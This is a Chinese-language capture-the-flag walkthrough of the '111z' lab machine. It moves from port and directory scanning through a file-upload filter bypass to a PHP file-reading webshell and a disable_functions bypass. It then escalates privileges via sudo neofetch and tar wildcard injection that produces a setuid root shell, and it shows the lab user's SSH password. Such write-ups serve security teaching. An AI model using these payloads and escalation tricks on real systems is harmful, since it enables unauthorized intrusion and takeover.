MazeSec 111z
# 信息收集
# 存活主机扫描
┌──(npc㉿kali)-[~/mazesec/111z]
└─$ sudo arp-scan -I eth1 192.168.56.0/24
192.168.56.141 08:00:27:50:0d:5b PCS Systemtechnik GmbH
2
3
4
# tcp全端口扫描
┌──(npc㉿kali)-[~/mazesec/111z]
└─$ nmap -p- -sT 192.168.56.141
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
2
3
4
5
6
# 目录扫描
┌──(npc㉿kali)-[~]
└─$ dirsearch -u http://192.168.56.141
[22:11:33] 200 - 86B - /upload.php
[22:11:33] 301 - 318B - /uploads -> http://192.168.56.141/uploads/
[22:11:33] 200 - 407B - /uploads/
2
3
4
5
6
# 80 端口 web 服务探测
在线图床上传的web服务

(最后一版做了点小调整,ip变动忽略)
前端js里允许上传的扩展名只有图片格式,上传图片,burp抓包,发送到,后端会检测文件内容,使用eval、system等危险函数名时会上传失败

同时还会检测分号;,php允许使用?>直接最后一个php语句不使用分号结束,可以通过多个php标签,实现执行多条php语句。返回提示,php对函数名大小写不敏感,使用大写可以绕过

访问页面报500,可能因为php配置禁用了函数,php在解析时发现函数不可用就会报错,后端返回错误码500

php官方的解释里有讲,eval并不是函数,而是一个语言构造器,disable_funtions里也ban不了这个,如果你用system函数遇到500,换成大小混写的eval试试


可以提前上传个文件读取upload.php的源码,减少waf命中,增加马子存活率


因为存在函数禁用比较严格,执行命令困难,我和MJ讨论两个方案:
- 暂不命令执行,通过函数扫描读取文件内容,收集信息
- 劫持LD_PRELOAD,绕过disable_functions实现命令执行
在此感谢MJ的测试和帮助
# 文件上传getshell
# 方案0:蚁剑直接读取文件
命令执行函数被禁用不影响文件读取以及目录扫描等功能,使用蚁剑直接依次查看目录及文件内容,可以发现 llpass.txt 里存放的ll用户 ssh 密码

# 方案1:上传webshell读取文件
作为一个折中的方案,在不执行命令的条件下,仅靠webshell扫描指定目录、读取敏感文件,收集信息。
<?php $dir=$_GET[1]?>
<?php $file=$_GET[2]?>
<?php echo '<pre>'?>
<?php print_r(scandir($dir))?>
<?php echo '</pre>'?>
<?php highlight_file($file)?>
2
3
4
5
6
效果图如下:


扫描 /opt 目录,发现 llpass.txt 文件,拿到 ll 用户的 ssh 密码

# 方案2:绕过disable_functions执行命令
上传后可以解析执行

几乎禁用了所有危险函数

因为php配置文件禁用了几乎所有命令执行函数,如果 /tmp 目录可写,并且 putenv 、mail、error_log 函数可用,可以在 /tmp 上传恶意动态链接库文件,利用 putenv 函数设置环境变量,再通过 mail 或 error_log 函数开启一个子进程加载恶意动态链接库,从而实现代码执行。
可以直接利用 中国蚁剑 的插件来实现绕过 disable_functions


检测到 putenv、error_log 可用(info.php的phpinfo页面也可以发现),选择当前webshell所在路径 /var/www/html/uploads/,绕过


新建一个webshell连接,文件名使用 .antproxy,密码还是刚刚上传的webshell密码

分析上传的恶意动态链接库文件,通过可见字符可以知道,这会使用php内置的web服务器监听在127.0.0.1:61147端口,web根目录设置为 /var/www/html,然后我们可以通过 生成的 .antproxy.php 与这个内置web服务器通信,实现命令执行
php -n -S 127.0.0.1:61147 -t /var/www/html

分析 .antproxy.php 文件,可以看到发给这个 .antproxy.php 的请求会被转发到 动态链接库启动的纯净php环境里执行

# ll 用户 ssh 凭证泄露
搜索近 7 天变化的文件,排除一些目录,减少噪声
find / \( -path /run -o -path /sys -o -path /proc -o -path /var/lib -o -path /dev -o -path /usr/share -o -path /var/log -o -path /var/cache -o -path /etc \) -prune -o -mtime -7 -print 2>/dev/null
(www-data:/var/www/html/uploads) $ cat /opt/llpass.txt
ll:Bp2tFMYfElkoMWlOUsOD1C30
2
3
可以在 /opt/llpass.txt 发现 ll 用户的 ssh 密码


或者直接使用蚁剑 翻文件看内容不去管绕过命令执行也可以
ssh 登录到 ll 用户

# sudo 权限枚举
sudo 权限枚举,发现ll用户可以无密码以 mj 用户身份运行 neofetch

gtfobins 里发现 neofetch 可以被滥用来提权,https://gtfobins.github.io/gtfobins/neofetch/ (opens new window)

# neofetch 提权到 mj 用户
创建配置文件,运行neofetch指定配置文件路径,可以执行配置文件里的命令
echo 'exec bash' > /tmp/config.txt
sudo -u mj /usr/bin/neofetch --config /tmp/config.txt
2
拿到 mj 用户的 shell

# 备份脚本审计
mj 用户 有 root 权限 执行 /opt/目录下的图床备份脚本

脚本内容非常简单,cd、echo命令没问题,只能是tar czf /tmp/backup.tar.gz * 这条命令有问题了,搜索 tar 命令相关提权文章可以找到,tar命令存在通配符注入漏洞,https://www.freebuf.com/articles/system/176255 (opens new window)
mj@111z:~$ cat /opt/backup/backup.sh
#!/bin/bash
# 网站上传文件备份脚本
cd /var/www/html/uploads
tar czf /tmp/backup.tar.gz *
echo "Backup completed"
2
3
4
5
6
7
使用man 命令查看 tar 的帮助,找到存在参数--checkpoint-action=exec=COMMAND,可以在每个检查点执行指定命令,需要有一个检查点才行,使用--checkpoint=N参数可以指定每N个个检查点执行一次

# tar 命令通配符注入提权
到 /var/www/html/uploads 目录下,创建文件名为'--checkpoint=1 --checkpoint-action=exec=sh shell.sh'、'--checkpoint=1'的两个文件
mj@111z:/var/www/html/uploads$ echo '' > '--checkpoint-action=exec=sh shell.sh'
mj@111z:/var/www/html/uploads$ echo '' > '--checkpoint=1'
2
shell.sh,实现获取一个 suid 的bash
echo -e '#!/bin/bash\ncp /bin/bash /var/www/html/uploads/bash\nchmod u+s /var/www/html/uploads/bash' > shell.sh
执行备份脚本
sudo /opt/backup/backup.sh

mj@111z:/var/www/html/uploads$ ./bash -p
bash-5.0# id
uid=1001(mj) gid=1001(mj) euid=0(root) groups=1001(mj),33(www-data)
bash-5.0#
2
3
4

考点总结:
- 前端验证绕过
- php函数名不区分大小写
- php 闭合标签允许最后一句不使用分号结束符
- php标签之间共享变量
- php disable_functions 绕过
- ssh 凭证泄露
- sudo 权限滥用
- tar 通配符注入